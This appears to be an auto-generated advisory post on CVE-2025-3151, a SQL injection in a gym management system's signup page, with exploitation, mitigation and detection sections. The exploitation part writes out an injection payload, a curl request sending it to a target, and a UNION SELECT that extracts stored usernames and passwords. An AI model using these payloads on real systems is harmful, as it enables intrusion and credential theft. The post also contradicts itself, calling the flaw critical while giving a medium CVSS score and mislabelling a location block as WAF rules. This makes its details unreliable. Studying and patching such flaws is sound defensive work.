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How the CVE Works:
CVE-2025-3151 is a critical SQL injection vulnerability in SourceCodester Gym Management System 1.0, specifically in the `/signup.php` file. The flaw arises due to improper sanitization of the `user_name` parameter, allowing attackers to inject malicious SQL queries. When a crafted payload is submitted, the backend database executes unintended commands, potentially leading to unauthorized data access, manipulation, or system compromise. The attack is remotely exploitable, requiring no authentication, and has a CVSS 4.0 score of 6.9 (MEDIUM). Publicly disclosed exploits increase the risk of widespread abuse.
DailyCVE Form:
Platform: SourceCodester Gym
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation:
1. Craft Payload:
' OR '1'='1' --
2. Send Request:
curl -X POST -d "user_name=admin' OR '1'='1' --&password=test" http://target/signup.php
3. Extract Data:
' UNION SELECT 1,2,3,4,CONCAT(username,':',password) FROM users --
Mitigation:
1. Input Sanitization:
$user_name = mysqli_real_escape_string($conn, $_POST['user_name']);
2. Prepared Statements:
$stmt = $conn->prepare("INSERT INTO users (user_name) VALUES (?)");
$stmt->bind_param("s", $user_name);
3. WAF Rules:
location /signup.php {
deny all;
}
Detection:
1. Log Analysis:
grep "POST /signup.php" /var/log/apache2/access.log | grep -E "'|--|\""
2. SQLi Scanner:
sqlmap -u "http://target/signup.php" --data="user_name=test&password=test" --risk=3
Patch:
- Upgrade to patched version (if available).
- Disable `/signup.php` if unused.
Impact:
- Data theft (credentials, PII).
- Unauthorized admin access.
- Database corruption.
References:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
